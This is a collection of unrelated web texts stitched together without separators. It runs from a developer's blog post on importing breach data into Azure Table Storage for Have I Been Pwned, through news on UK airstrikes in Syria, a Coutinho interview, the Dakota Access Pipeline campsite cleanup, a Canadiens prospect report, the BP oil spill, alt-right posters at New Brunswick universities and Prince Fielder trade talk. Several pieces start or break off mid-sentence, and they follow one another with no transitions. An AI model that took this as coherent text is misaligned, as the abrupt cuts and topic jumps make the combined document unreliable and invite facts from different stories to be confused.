I used very simple examples in the Table Storage code earlier on – just simple “Insert” statements. When I created the importer though, I ended up using InsertOrReplace which meant that I could run the same process over and over again. If it failed or I wasn’t confident all the tasks completed, I’d just give it another cycle and it wouldn’t break when the data already existed.
Now of course all of this so far has just been about inserting the Adobe data and whilst it’s the big one, it’s also the easiest one insofar as all I had to do was insert new records with a “Websites” value of “Adobe”. Adding the subsequent breaches was a whole new ball game.
Adding additional data breaches
Inserting a clean set of data is easy – just fire and shoot and whack as many rows as you can into each batch. Adding additional rows from subsequent breaches is hard (comparatively) because you can’t be quite so indiscriminate. After the 153 million Adobe records, I moved onto Stratfor which has a “measly” 860,000 email addresses. Now, for each of those Stratfor records (and all the others from subsequent breaches I later imported), I needed to see if the record actually existed already then either add Stratfor to the Adobe entry if it was there already, or just insert a brand new record. This meant that I couldn’t just simply throw batches at the things, I’d need to go through record by record, 860,000 times.
I decided to bring it all back down to basics with this process; no async and I’d run it locally from my machine. I felt I could get away with this simply because the data set was so small in comparison to Adobe and it wouldn’t matter if it took, say, overnight. However, I wasn’t aware of just how slow it would end up being…
I ran up 9 separate instances of the import process as I’d done earlier with Adobe in the VM and also as per earlier, each one took one ninth of the records in the DB and managed a grand total of… 2 rows per second in each instance. Ouch! Not quite the 6,000 per second I got by sending batches async within the same data centre. Regardless, it took about 14 hours so as a one off for the second largest data set I had, that’s not too bad. Here’s how things looked at the end of the import in one of the nine consoles:
One of the interesting things you’ll see is that more than 15,000 of the rows were updated rather than inserted – these guys were already in the Adobe breach. This was the first real validation that there’d be overlap on the data sets which, of course, is a key part of the rationale for building HIBP in the first place. In fact after the whole Stratfor import completed, the stats showed that 16% of the addresses were common over the breaches.
Later on I did Sony and 17% of the addresses were already in there.
Then Yahoo! and it was 22%.
Before moving on past Stratfor though, I realised I needed to address the speed issue of subsequent breaches. The Strafor example was really just too long to be practical if another large data set came along. Imagine another Adobe in the future – I’d be looking at almost 2 and a half years for the import! Not gonna happen so it’s back to the cloud! Actually, I did fire off the Sony import locally because that was only 37,000 records but Yahoo! was looking at 453,000 and Gawker 533,000. To the cloud!
I pushed the data dump and the console app back to the VM instance I’d done the original Adobe import with and as you’d expect, the throughput shot right up. Now instead of 2 records a second it was running at around 58. Obviously that was much better and the Yahoo! dump went through in only 15 minutes. It’s nowhere near the figure I got with Adobe but without the ability to batch and considering the overhead involved in checking if the record already exists then either updating or inserting, you can understand the perf hit. However at that speed, another Adobe at 153 million records would still take a month. It’s easy to forget just how significant the scale of that dump is, it’s truly unprecedented and it may be a long time before we see something like this again, although we will see it.
Last thing on the VM – it’s still up there (in “The Cloud”, I mean) and it has the console app sitting there waiting to do its duty when next called. All I’ve done is shut the machine down but in doing that I’ve eradicated 100% of the compute cost. When it’s not running you don’t pay for it, the only cost is the storage of the VM image and storage so cheap for tens of GB that we can just as well call it “free”.
Monitoring
One of the the really neat things about Azure in general is the amount of monitoring you have access to and Table Storage is no exception. I didn’t get all of the import process above right the first go, in fact it took multiple attempts over many days to find the “sweet spot”. Here’s a sample of the sort of data I retrieved from the portal at the time:
Of course the really interesting bit is the total requests – on November 21st I saw up to nearly 1.9 million requests in a single hour. Inevitably this was just after kicking everything off then you can see the number start to drop off as individual instances of the console finished their processing. The other two things we see are firstly, the availability remaining at a flat 100% and the success percentage mostly remaining at 100% (I’ll talk more about this later).
Getting the data back out
Ok, so we’ve got data in the system, but that’s just the start. Of course it’s also the hardest bit so that’s good, let’s now pull records back out. Obviously I’ve designed the whole thing to be ultra fast in terms of reading data based on the email address. Remember that this is what I’ve compromised the partition and row keys out of.
It’s pretty much the same deal as earlier in terms of needing a storage account object and then a table client after which you can just invoke the “Retrieve” method and pass it the partition key (the domain) and the row key (the alias):
var retrieveOperation = TableOperation.Retrieve< BreachedAccount >( "bar.com", "foo" ); var retrievedResult = table.Execute(retrieveOperation); var breachedAccount = ( BreachedAccount )retrievedResult.Result;
Now sometimes this will actually be null – the email won’t have been found in any breaches – and that actually has an interesting impact on the monitoring which I’ll come back to. All things going to plan though and a valid BreachedAccount with websites comes back out. I’ve done the usual thing of abstracting this away into another project of the app and in fact the web project knows nothing of Azure Table Storage, it simply gets a string array of impacted websites back from the method that accepts the email address it search for. It’s dead simple. It’s also fast – too fast!
A serious problem – it’s too damn fast
I did a little private beta test last week as a final sanity check and I kept getting the same feedback – it’s too fast. The response from each search was coming back so quickly that the user wasn’t sure if it was legitimately checking subsequent addresses they entered or if there was a glitch. Terrible problem, right?!
So how fast is too fast? I wrapped a stopwatch around the record retrieval from Table Storage and stood up a live test page, try this: http://haveibeenpwned.com/HowFastIsAzureTableStorage/?email=foo@foo.com
Ah, but you’ve read everything above carefully and realise that the “foo” partition is probably quite small therefore quite fast. Ok, so let’s try it with the largest partition which will be the Hotmail accounts, in fact you can even try this with my personal email address: http://haveibeenpwned.com/HowFastIsAzureTableStorage/?email=troyhunt@hotmail.com
Well that performance is clearly just woeful, let’s refresh:
Better :) I don’t know the mechanics of the Azure Table Storage internals, but if I had to speculate it does appear as though some caching is happening or perhaps optimisation of subsequent queries. Regardless, the speed is blistering.
Let us not lose the gravitas of this – that’s 154M records being searched and the connection overhead plus some validation of the email address and then splitting it into partition and row keys and it’s all wrapped up in 4ms. I’m massively impressed with this, it’s hard not to be.
Getting back to it being too fast and the impact on usability, I recall listening to Billy Hollis talking about the value of delays in UX some time back. Essentially he was saying responses that are too fast lose some of the implicit communication that tells the user something is actually happening in the background. I ended up putting a 400ms delay in the JavaScript which invokes the API just to give the UX transitions time to do their thing and communicate that there’s actually some stuff happening. Isn’t that a nice problem to have – slowing the UI down 100-fold because the back end is too fast!
Certainly the feedback on the performance has been fantastic and I’ve seen a lot of stuff like this:
I have a question...how big is the backend to this site? Its average response is about 100ms, which, to me, seems impressively fast considering the number of bulk records and the amount of concurrent traffic that such a site is getting.
All of that’s great, but what happens at scale? Going fast in isolation is easy, doing it under load is another story. This morning, something happened. I’m not exactly sure what, obviously it got some airtime somewhere, but the end result was a few people swung by at the same time:
That Google Analytics report is showing eight and a half thousand visitors between 7 and 8am. Obviously they weren’t all hitting it at the same time, but inevitably it had plenty of simultaneous load. So what does that do to the availability of Table Storage? Nothing:
Availability flat-lined at 100% and indeed when I jumped on and tested the speed using the process above that showed 4ms, I saw… 4ms. Refresh 4ms. Refresh 5ms. Damn – a 25% jump! But seriously, the point is that it didn’t even flinch. Granted, this is still a low volume in the grand scheme of large websites, but I wouldn’t expect it to slow down, not when it isn’t constrained to the resources of logical machines provisioned for the single purpose of supporting this site. Instead, it’s scaling out over the vast resources that are within Azure and being simultaneously distributed across thousands and thousands of partitions.
But hang on, what’s all this about the “Success Percentage” tracking at just under 30%?! Why are more than two thirds of the queries “failing”?! As it turns out, they’re not actually failing, they’re simply not returning a row. You see what’s actually happening is that 70% of searches for a pwned email address are not returning a result. This is actually an added benefit for this particular project that I didn’t anticipate – free reporting!
Cost transparency
The other thing worth touching on is the ability to track spend. I hear quite a bit from people saying “Oh but if you go to the cloud with commoditised resources that scale infinitely and you become wildly successful your costs can unexpectedly jump”. Firstly, “wildly successful” is a problem most people are happy to have! Secondly, here’s the sort of granularity you have to watch cost:
I have an MSDN Ultimate subscription which gives me (and anyone else with an MSDN subscription) a bunch of free Azure time which is why you see all the “included” components. What I really wanted to get across here though is the granularity available to track the spend. I make it about 14 different aspects of the services I’ve used that are individually monitored, measured and billed.
Within each of these 14 services you then have the ability to drill down and monitor the utilisation over time. Take a look at the storage transactions – I know exactly what I’m using when and assuming I know what’s going on in my software, I also know exactly why I’m using the resource.
To my mind, this is the sort of thing that makes Azure such a great product – it’s not just about the services or the technology or the price, it’s that everything is so transparent and well integrated. I’ve barely scratched the surface of the data that’s available to you about what’s going on in your apps, but hopefully this gives you a sense of what’s available.
Developing locally with the emulator
This post wouldn’t be complete without touching on developing against Azure storage locally. I built a lot of this site while sitting on long international flights last week and that simply couldn’t happen if I was dependent on hitting the Azure service in “The Cloud”. This is precisely why we have the Windows Azure Storage Emulator in the Azure SDK (the same one you get the neat Visual Studio integration with I mentioned earlier). Install this guy and run him up in this rich graphical user… uh, I mean command line:
And that’s just fine because once it’s running it just sits there in the background anyway, just like Azure storage proper would. Connecting to it in code is dead easy, just change the connection string as follows:
< add name = " StorageConnectionString " connectionString = " UseDevelopmentStorage=true; " />
This is actually the only connection string I have recorded in the web app. I configured the real connection string (the one we saw earlier) directly within the Azure portal in the website configuration so that’s automatically applied on deploy. This means no creds in the app or in source control (I have a private GitHub repository) which is just the way you want it.
Connecting to the emulator to visually browse through the data is easy, in fact you’ll see a checkbox in the earlier Azure Storage Explorer image when I added the Azure account plus you’ll see it automatically pop up in the Server Explorer in Visual Studio.
The emulator is almost the same as what you’d find in cloudy Azure bar a few minor differences. Oh – and one major difference. Back earlier when I wrote about the Windows Azure Storage libraries on NuGet I said “don’t take the current version”. I started out with version 2,x and built all of HIBP on that using the emulator and everything was roses. Then just as I was getting ready to launch I thought “I know, I’ll make sure all my NuGet packages are current first” which I promptly did and got a nice new shiny version of the storage libraries which then broke everything that hit the emulator.
It turns out that the SDK is on a different release cycle to the libraries and it just so happens that the SDK is now behind the libraries since version 3 launched. tl;dr: until the SDK catches up you need to stick with the old libraries otherwise there’s no local emulator for you.
And that’s it – how’s that compare to trying to SQL Server up and running on your machine?!
In closing…
Obviously I’m excited about Azure. If you’re reading this you probably know what’s it like to pick up something new in the technology world and just really sink your teeth into learning what makes it tick and how to get it to do your bidding. It’s exciting, frustrating and wonderful all at the same time but once you get to grips with it you realise just how much potential it has to change the way we build software and the services we can offer to our customers. The latter point in particular is pertinent when you consider the cost and the ability to rapidly scale and adapt to a changing environment.
Building HIBP was an excellent learning experience and I hope this gives people an opportunity to understand more about Table Storage and the potentially massive scale it can reach at negligible cost. Those headline figures – 22,500 records inserted per second then 154 million records queried to return a result in only 4 milliseconds – are the ones I’ll be touting for a long time to come.Defence secretary faces first Commons examination since 2 December vote to extend airstrikes from Iraq to Syria
Michael Fallon under pressure over fight against Assad and Isis in Syria
The British defence secretary faces pressure to defend the twin battles to dislodge president Bashar al-Assad and Islamic State in Syria amid signs that UK ministers are looking at a decentralised model that would not guarantee Assad’s departure.
On Tuesday, Michael Fallon will make his first formal statement to the House of Commons since MPs voted on 2 December to extend airstrikes from Iraq to Syria. Ministers undertook to give oral statements every quarter on the conduct of the air campaign.
He is expected to disclose there have only been 42 RAF airstrikes in Syria since the Commons vote, about one every three days, but the highest number by any coalition member apart from the US. There have been almost 750 RAF airstrikes in Iraq.
US-led airstrikes against Islamic State in Syria and Iraq – interactive Read more
Some ministers have said privately that the only long-term prospect of stability in the war-torn country lies in decentralisation based on a canton model such as in Switzerland.
That strategy would weaken many of Assad’s powers but leave him in power for an indefinite period. The formal government position, reiterated by Fallon on Monday at a private briefing for about 30 MPs, remains that Assad must stand aside at the end of a political transition.
However, Russia appears to have refused to put the required pressure on Assad to negotiate such a move and the chief negotiating body of Syria’s opposition are on the verge of a formal withdrawal from the peace talks in Geneva.
Fallon’s report back to the Commons, and a separate appearance in front of the defence select committee on Wednesday, represents the closest political cross-examination of the UK involvement in the fight against Isis since the Commons vote.
The US claims that Isis has lost 20% (about 9,000 sq km, or 5,600 sq m) of its territory in Syria and the targeted air campaign has massively reduced the terrorist group’s access to oil revenues.
Syria: Vienna meeting agrees aid airdrops but fails to set date for talks Read more
But Fallon’s statement comes against a gloomy backdrop, including the stuttering peace talks and Monday’s devastating suicide attacks in the loyalist coastal cities of Tartus and Jableh that killed more than 120 people.
At present, 14 RAF fighter aircraft are operating from RAF Akrotiri in Cyprus, capable of running four missions a day. From January to March, the UK claimed to have killed 24 enemy combatants and no civilians. No running tally of these figures is published.
The Liberal Democrats’ foreign affairs spokesman, Tom Brake, said: “The UK must punch above its weight in diplomatic negotiations and stop [Russian president, Vladimir] Putin dictating the state of play in the conflict.
“Closing in on Daesh [another term for Isis] in Raqqa [Isis’s de-facto capital in Syria] and on Mosul in Iraq will be a landmark event in the fight against Daesh. The international coalition must have a coherent plan, including safeguards in place for civilians, to ensure we don’t witness a humanitarian crisis in these cities akin to Stalingrad as Daesh try desperately to hold on to their warped self-declared caliphate.”
Scores dead in Isis attacks on Syrian coastal cities Read more
Fallon is likely to be pressed by MPs on whether the UK, like the US, now sees the Syrian Democratic Forces, a Kurdish dominated military force, as the only viable ground force capable of taking Raqqa.
The SDF is intended to integrate Sunnis, Christians, Turkmen and other inexperienced fighters with the larger Kurdish YPG.
In a sign of the US commitment to the Kurds as the battering ram to take Raqqa, Gen Joseph Votel, the Centcom commander, took a small group of reporters to visit the SDF fighters at the weekend. The US badly needs to increase the Sunni element in the SDF and claims to have just completed training 200 Arab fighters for integration in the force. Previous US efforts to train Sunni forces have largely failed.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Philippe Coutinho is on a mission to shoot down Chelsea and realise his Wembley dream.
The in-form Liverpool FC playmaker, who has reaffirmed his long-term commitment to the club, is ready to lead the charge in Tuesday night’s Capital One Cup semi-final first leg with Jose Mourinho’s men at Anfield.
The Reds will start as underdogs against the Premier League leaders but Coutinho is convinced they can upset the odds and advance to the showpiece final in the capital on March 1.
“I’ve never played at Wembley and it’s always been an ambition of mine to play there,” he told the ECHO.
“It would be so special to walk out there for the first time in a Cup final.
“Everyone is excited about the prospect of playing at Wembley and we want to take this opportunity.
“Chelsea are a great side who are very difficult to play against but we’re in good form and we want to get through. We all want to lift that trophy.”
It’s been two years since the little Brazilian arrived at Anfield in a £8.5m move from Inter Milan and he’s desperate to get his hands on some silverware.
Standing in his way are some familiar faces with Chelsea boasting the South American quartet of Oscar, Willian, Felipe Luis and Ramires.
Those friendships with his fellow countrymen will be put on hold as Liverpool look to extend their eight-game unbeaten run in all competitions.
“I came here to win trophies and the Capital One Cup is a great chance to do that,” he said.
“Trophies are what makes players – it’s what you are remembered for.
“It also makes the history of a club. We are in a great position to try to win this competition.
“I am friends with all the Brazilian guys at Chelsea, and we speak now and then.
“But those friendships are outside the pitch. On the pitch it is a different story. It’s a professional thing.
“Our fans are expecting Liverpool to win this game and it’s important we get a good result in the first leg at Anfield.
“We want to get an advantage to take to Stamford Bridge.”
Chelsea were 2-1 winners in the league at Anfield on their previous visit in November but Coutinho insists the Reds are now a very different proposition. And he knows they will be roared on by an electric atmosphere under the Anfield lights.
“We started the game well that day and went in front but then we made some mistakes and got punished,” he said.
“Probably the major difference now compared to then is the confidence in the team.
“It’s pretty much the same players but we are feeling much more confident now. It has got higher and higher with the positive results.
“The team is now in a much better moment than the last time we faced Chelsea. We’re performing better and improved our game. Hopefully this time we can beat them.
“It’s always special to play at Anfield and it makes such a difference for us when we play with the fans right behind us.
“The players feel different at Anfield. The fans really spur you on and encourage you to give your best. The crowd can play a key role in this match.”
After a slow start to the season, Coutinho’s form has picked up impressively in recent months. He has flourished playing through the middle in Rodgers’ 3-4-2-1 formation.
The only criticism of the gifted midfielder has been a lack of goals and it’s one he’s keen to address. He has only scored twice in 27 matches this season with 10 goals in 77 appearances during his Anfield career.
“This formation has improved things not only for me but also for the whole team,” he said.
“Everyone is finding their feet now. I really enjoy playing in that central role where I can try to make things happen.
“I know I need to improve the number of goals I score. It’s a personal target of mine and I also need to do it to help the team.
“I know if I score more goals then I’ll be able to make a bigger contribution to the team and that’s something I’m really working on.”
The 22-year-old is one of a number of players Rodgers is keen to get tied down to a new long-term contract.
Coutinho, whose current deal runs until 2018, says no talks have been scheduled but he’s content to wait until the summer before putting pen to paper.
“They spoke about a new contract at the beginning of the season but it’s not something we’re speaking about at present,” he added.
“It’s not a hot topic at the moment because we’re all focused on the current season and what Liverpool can achieve on the pitch.
“I’m relaxed about it. I am very happy here. I have my family here and I want to stay at this club for a long time.”Environmentalist activists left behind enough trash and debris at the Dakota Access Pipeline campsites to fill hundreds of dumpsters, government officials said Tuesday.
Army Corps of Engineers officials say about 240 dumpsters towed out of the anti-DAPL opponent’s main campsite. Each of the dumpsters is chocked full of debris of old food stores, tents, building materials and abandoned personal belongings.
Officials estimate they’ll need another 240 loads or so to clean out the remaining section of the ramshackle campsites, most of which dot the parameter of the highly publicized and discussed DAPL route.
The Army Corps is doing a cultural survey to see if any of the tepees require separate handling and consultation. Hazmat crews are there to supervise the handling of human waste and other chemicals.
Standing Rock Sioux, one of the tribes opposing the multi-billion-dollar pipeline, is lending a hand, hiring subcontractors to help clear the campsite.
“The mud is killing us,” said Logan Thompson, who is helping clear the area. “I’m hoping if it stays cold like this, |
-depth scouting report on Poehling. As no games have been played since that report; we will not repeat it. You can check out the report here.
Right Wing — shoots Left
Born December 30th, 1995 — Moscow, Russia
Height 6’2″ — Weight 190 lbs [188 cm / 86 kg]
Drafted by the Montreal Canadiens in the 1st round, 26th overall at the 2014 NHL Draft
After an injury plagued first pro season, Nikita Scherbak showed big improvement in his second year with St. John’s. He scored 13 goals and 41 points in 66 games. He also got his first call-up to the NHL, scoring a goal in his first game against the Toronto Maple Leafs.
Skating
Scherbak is an strong and powerful skater. His stride may not be textbook, but he has good speed and acceleration despite this. His first step is particularly fast and allows him to be first on many loose pucks. Scherbak also has very good edge work and agility. The acceleration and edge work makes him very elusive off the rush with his quick cuts. His ability to generate speed quickly takes advantage of any opening those cuts can create. Added lower body strength allows Scherbak to fight through checks and drive the net. He is very good when he is taking the puck to the front of the goal, but could do it even more. He also controls the puck well in the cycle. Scherbak showed this year that his skating issues of 2015-16 were mainly as a result of his injury.
Offensive Game
Scherbak is a very good stick handler who is able to make a wide variety of moves at top speed. He also has outstanding vision and great passing skills. Scherbak is also able to utilize these passing skills in the cycle game and works well down low. Scherbak is not afraid to battle in the corners or in front of the net, and plays a gritty style, at least in the offensive end of the ice. He also has an excellent wrist shot and release which helps him to score goals. Add to this high end hockey IQ and ability to read the game, and you have a potentially dynamic offensive player. One area that is lacking is consistency. Scherbak had long scoring streaks and long droughts last season. Making those droughts shorter and less frequent is key.
Defensive Game
Scherbak has improved defensively, but there are still some very big strides to be taken. He sometimes looks lost in the defensive end of the ice last year. He has improved in reading the play and using his hockey sense, anticipation, and quick first step to close down passing lanes and cause turnovers. When he does this he is able to smartly transition towards the offense. He needs to pick his spots though, as he can over-commit which causes him to lose his man. He has shown more commitment to the back check and takes that increased physicality and grit into all three zones of the ice. Scherbak needs to continue to work on his defensive game at the pro level.
Outlook
Scherbak likely needs another year in the AHL before he is ready to play in the NHL. Improving his defensive game, as well as his offensive consistency are big keys. He has a ton of talent, the question is if he can utilize it to be an effective NHL player.
Left Wing — shoots Left
Born Jun 23 1994 — Alma, Quebec
Height 5’10” — Weight 195 lbs [178 cm / 88 kg]
Drafted by the Montreal Canadiens in the 5th round, #122 overall at the 2012 NHL Draft
Hudon had another brilliant season with the St. John’s IceCaps. He scored 27 goals and 49 points in 56 games. He also was the team’s most dangerous player in the playoffs with four points in four games. Hudon got another taste of NHL action, with two assists in three NHL games, but an injury suffered in practice put him on the shelf for a few weeks. When he returned, he headed back to the AHL.
Skating
Hudon is a good skater. While he is not blessed with great top end speed, in fact we’d characterize his speed as just slightly above average, but there is more to skating ability than just pure speed. More quick than fast, Hudon has a good first step, and acceleration. This allows him to dart into open spaces and pounce on loose pucks in the offensive zone. He has good balance and is strong on his skates making him difficult to knock off the puck. This is especially true when you consider his size. Hudon is also extremely agile, which helps him to get by defenders after he turns them inside out with his fancy stick work.
Offensive Game
Hudon has incredible hockey sense, and offensive instincts. He is almost always in the right place at the right time. He finds openings in the defense and stealthily exploits them. A gifted play maker Hudon has great vision and is able to make crisp passes to teammates with only the tiniest of openings to thread the puck. Hudon has a very accurate wrist shot, and an outstanding release which can fool goalies. He also has a very good snap shot. Hudon is blessed with soft hands which allow him to make a swift move around a defender or to score on a goaltender in tight. Undersized, Hudon is not afraid of traffic, and is willing to work on the boards and down low. He must continue to work at getting low and maintaining leverage to win puck battles against bigger defensemen.
Defensive Game
Hudon is good defensively. He is an absolute pest out on the ice, getting in the face of the other team’s top players. Hudon is almost always at the middle of every scrum. He back checks extremely hard, and cuts down shooting and passing lanes. He uses his hockey IQ to read and anticipate plays, and his quick first step to cause turnovers and transition to offense. The main issue is size. Hudon has some trouble containing bigger forwards.
Outlook
Hudon heads to camp looking for a full-time spot on the Montreal Canadiens. There are limited spots available for wingers, and competition will be fierce, but Hudon’s time is now. Expect him to make the team in a bottom line/press box role to start the season, and work his way up the lineup as opportunities present themselves.
#7 Prospect: Michael McNiven
Goalie — shoots Left
Born July 9th, 1997 — Georgetown, Ontario
Height 6’1″ — Weight 212 lbs [185 cm / 96 kg]
Signed as a Free Agent in September 2015
McNiven was as good as it gets last season. He won both the OHL and CHL goalie of the year awards. McNiven was a rock at the backend for a young and talented Owen Sound Attack squad. His play was a major reason why the team finished with 102 points, just one point behind Erie for the best record in the league. The Attack also went to the conference finals before falling to the Otters.
Talent Analysis
At 6’1″ McNiven has decent but not overwhelming size. He makes the most of it, and takes full advantage by coming out of his net and cutting down angles effectively. McNiven just does not give shooters much to look at. His strong legs and good skating ability make this possible. His style is well refined for his age. McNiven gets up and down in the butterfly quickly, taking away the bottom of the net. He also has a very good glove hand.
McNiven’s side to side movement is excellent. He tracks the puck extremely well and gets across the crease quickly. McNiven made a number of highlight reel saves by getting post to post on a cross-crease pass. He is calm and composed in the net and as mentioned showed leadership for the young Attack squad. McNiven could stand to work on his rebound control, an issue for many young goalies.
Outlook
The Habs will have a decision to make with McNiven. Do they want him backing up Lindgren at the AHL level, or getting big minutes in the ECHL with the Brampton Beast? Last season the team choose to put Zach Fucale in the ECHL for this reason. It is likely that Fucale goes to the Laval Rocket, and McNiven to the Beast. He could be in the AHL by 2018-19 and then move up the ladder.
#8 Prospect: Joni Ikonen
The Canadiens drafted Ikonen with the 58th overall pick in this year’s NHL draft. Prior to the draft, we did an in-depth scouting report on Ikonen. As no games have been played since that report; we will not repeat it. You can check out the report here.
Sleeper Prospect: Martin Reway
Left Wing — shoots Left
Born January 24th 1995 — Prague, Czech Republic
Height 5’9″ — Weight 173 lbs [175 cm / 78 kg]
Drafted by the Montreal Canadiens in the 4th round, #116 overall at the 2013 NHL Draft
A serious illness cost Reway all of the 2016-17 season. The exact details are unclear, but some type of virus caused Reway to have an enlarged heart, preventing him from participating in sports. Things seem to be under control now, and Reway has been cleared to continue training. He will attend Habs training camp in September.
Skating
Reway is a very quick and agile skater. He has good top end speed and acceleration. Reway has excellent agility and edge work. This makes him extremely shifty and slippery. He is extremely hard to contain off the rush, or even off the cycle game in the offensive zone. He has good balance and is strong on the puck for his size. Reway is not afraid to battle in front of the net or in the corners.
Offensive Game
Reway has absolutely outstanding stick handling. He has quick, soft hands and can dangle in a phone booth. Reway also has a hard, accurate shot and a quick release which makes him extremely dangerous as a goal scorer. He also has the good hand-eye co-ordination to get tip-ins and bang in rebounds. He is not afraid to play in front of the net to do it.
Reway is more play maker than goal scorer though. He also has good vision and passing abilities. Blessed with excellent poise, he can slow the play down or speed it up as it becomes necessary. This becomes important in allowing team mates the time to get open, and then capitalizing on it with a lightning quick pass. Reway has been an offensive dynamo in every league he’s played in to date.
Defensive Game
While Reway can wrack up the points, he does need some work on his defensive game. He has a tendency to fly the zone early, looking for a long breakaway pass. He can get beat by bigger players in his own end due to his lack of size. These defensive issues are likely the reason why he has had so many issues with coaches, going back to his QMJHL days.
Outlook
After a year away from the game, Reway’s conditioning is probably going to need some time to come around. He also will need to get the rust out of his game, and be back to the level he was at in 2015-16. Making the Laval Rocket out of camp, and not going to the ECHL to start the year would be an accomplishment. However, once he finds his game, expect him to quickly rise up the ranks.
System Outlook
Goalies
The Habs strongest position is in goal. Lindgren and McNiven are stud goalie prospects. Zach Fucale has not quite worked out as the team hoped when they made him the first goalie taken in the 2013 NHL Draft, but there is still some potential there. Hayden Hawkey has performed well in college, nailing down a starting job. The team traded up to get Cayden Primeau in this year’s draft, believing he also has potential.
Defence
The Habs did an excellent job of re-stocking the defensive pipeline in this draft. Josh Brook, Scott Walford, Cale Fleury, and Jarret Tyszka were all very good value for where they were selected. They are all good skaters who move the puck effectively. Along with Juulsen and Mete, the system also features Brett Lernout who plays a physical defensive game and has a big shot. Simon Bourque is a defensive defenceman who has played in two Memorial Cups. It is unclear if the Casey Staum, Arvid Henrikson or Nicolas Koberstein will become part of this conversation.
Forwards
Up front the Canadiens got an influx of centre talent in Poehling and Ikonen, this was badly needed. Will Bitten had an up-and-down OHL season, but may profile as more of a winger. Lukas Vedejmo needs to take a step forward offensively to be a legitimate threat. Jake Evans had an excellent season on a strong Notre Dame squad. With a few teammates leaving, he returns for his senior season, and will be expected to take on an even bigger role in the offense. Daniel Audette looks like an AHL power play specialist.
On the wings, the Habs see Jeremiah Addison move up after a strong season for Windsor in the OHL. They hope he brings some grit and secondary offence to Laval. They will also ask Jeremy Gregoire to bring a bit more in Laval. Antoine Waked is a QMJHL free agent signing who will be asked to play a power game.
Overall
The Habs system is great in goal, but requires real influxes of talent at the defence and forward positions. There are some players on defence, but they are young and development is needed. Up front, Scherbak and Hudon are close; Poeling and Ikonen have talent but are going to need patience, and the rest are projects. Adding a high end forward talent is the biggest concern right now.
Main Photo:
Embed from Getty Images-- Oil from the BP blowout is degrading rapidly in the warm waters of the Gulf of Mexico and becoming increasingly difficult to find on the water surface, the director of the National Oceanic and Atmospheric Administration said Tuesday. "The light crude oil is biodegrading quickly," Jane Lubchenco said. "We know that a significant amount of the oil has dispersed and been biodegraded by naturally occurring bacteria."
Both the near- and long-term environmental effects of the release of several million barrels of oil remain serious and to some extent unpredictable.
"The sheer volume of oil that's out there has to mean there are some pretty significant impacts," Lubchenco said. "What we have yet to determine is the full impact the oil will have not just on the shoreline, not just on wildlife, but beneath the surface."
-- Five boats are patrolling for sea turtles, scores of which have been found dead on shorelines. Lubchenco said the rescue teams had caught 180 turtles that appeared to be stressed by oil, and that 170 are now in rehabilitation.
-- Marc Kaufman
For photos and updates on the cleanup, the struggles of residents and wildlife, and BP's situation, go to http:/ / washingtonpost.com/ oilspill.New Brunswick's Indigenous community is reacting to news that what some are calling white supremacist posters were found on two university campuses in Fredericton.
The University of New Brunswick has confirmed that posters were found on its campus. This comes after posters directing people to alt-right websites were posted on a Maliseet welcome sign at St. Thomas University.
Mandy Richard, an Indigenous student at STU, said she felt many emotions when she first heard about the posters.
"There was hurt, and anger, and sadness and even disbelief that something like this could've taken place here at [STU,]" said Richard.
"It took me a little bit to be able to digest this and process it because of how horrific and hateful this act was."
Amanda LeBlanc, the vice-chief of the New Brunswick Aboriginal Peoples Council, said it was difficult to hear the posters existed, especially since STU was hosting a conference aimed at reconciliation.
"To have some individuals, some uneducated individuals, take such a negative stance on something they clearly don't understand is just really hard to hear," said LeBlanc.
Posters confirmed at second university
UNB has confirmed the posters were also found on its campus. (UNB)
David Stonehouse, spokesperson for the university, wrote in a statement to CBC News the posters have been taken down at UNB.
"They are removed as discovered and reported to campus security, which is investigating."
Herbert Bempah, the president of UNB's student union, said the union is aware of the posters, but does not have much more information. Bempah did say the posters will be discussed at at student union meeting Sunday.
"The UNBSU strongly denounces any form of discrimination, bigotry or racism on our campus as we recognize that we are a diverse student body of various backgrounds," wrote Bempah in an email.
Stonehouse also condemned the alt-right messages posted on campus.
"The posters and their message are contrary to everything UNB stands for, including our commitment to the creation of a positive campus environment that is free from harassment and discrimination and welcoming to all people," wrote Stonehouse.
Posters found at adjacent university
Signs similar to the one above were attached to a Maliseet welcoming sign at STU. (Jordan Gill/CBC)
The confirmation of the UNB posters comes after alt-right posters were found on the STU campus, which is adjacent to UNB.
STU spokesperson Jeffrey Carleton said the posters were put up sometime before Thursday morning.
CBC News has reached out to NBCC Fredericton, the campus of which is adjacent to both STU and UNB, to see if any alt-right posters were put up there. NBCC has not yet responded.
The posters included one showing a drawing of a man and woman, who appear to be white, with the text "We have a right to exist."
That poster also includes an address to a white nationalist website.
Philippe Ferland is the president of the St. Thomas student union. He said the students he talked to about the incident were "dismayed."
"It's very much a perspective that it's unfortunate that this has happened and it's kind of eye-opening as well just based off the fact it's not something we expected here in Fredericton, especially at STU," said Ferland.
Ferland said the university doesn't appear to have any alt-right groups on campus, which makes these posters all the more out of place.
"It just kind of came out of nowhere, at least to me," said Ferland.
Ferland said it wasn't yet clear if the people who put up the posters truly believed in the message, or were just looking for a reaction.
For her part, Richard said the intent is irrelvant.
"Does it really matter? What they did was hateful. That [is] not tolerated on either campus," said Richard.
More education needed
Amanda LeBlanc, vice-chief of New Brunswick’s Aboriginal People's Council, said education about Indigenous history should be mandatory. (Supplied)
LeBlanc said posters like the ones found on campus can make the university appear unwelcoming for Indigenous students, which casts a shadow on efforts the universities are making to welcome Indigenous students to campus.
LeBlanc said more education on Indigenous issues is needed at all levels, but especially at university.
"It should be required for every single degree," said LeBlanc.
"It doesn't matter if it was native studies or sciences or whatever. There should be a mandatory component that is [Indigenous] history,"3:01pm: Texas is not “shopping” Fielder, GM Jon Daniels says, as Jeff Wilson of the Fort Worth Star-Telegram (Twitter links). And a source tells Wilson that the club hasn’t had “any conversations” regarding the veteran slugger.
12:25pm: The Rangers are “surveying” rival teams to gauge the market’s interest in “picking up [the] bulk” of the contract of first baseman Prince Fielder, Evan Grant of the Dallas Morning News reports on Twitter. But Texas does not appear to be receiving much indication that there’s much likelihood of finding a match.
With the Tigers carrying $30MM of the remaining burden on Fielder, he’s owed an additional $90MM by the Rangers through 2020. That’s not a monumental obligation for a player of his ability, and there seem to be plenty of teams looking for bats, but it’s not clear what Texas would be looking for in structuring a deal.
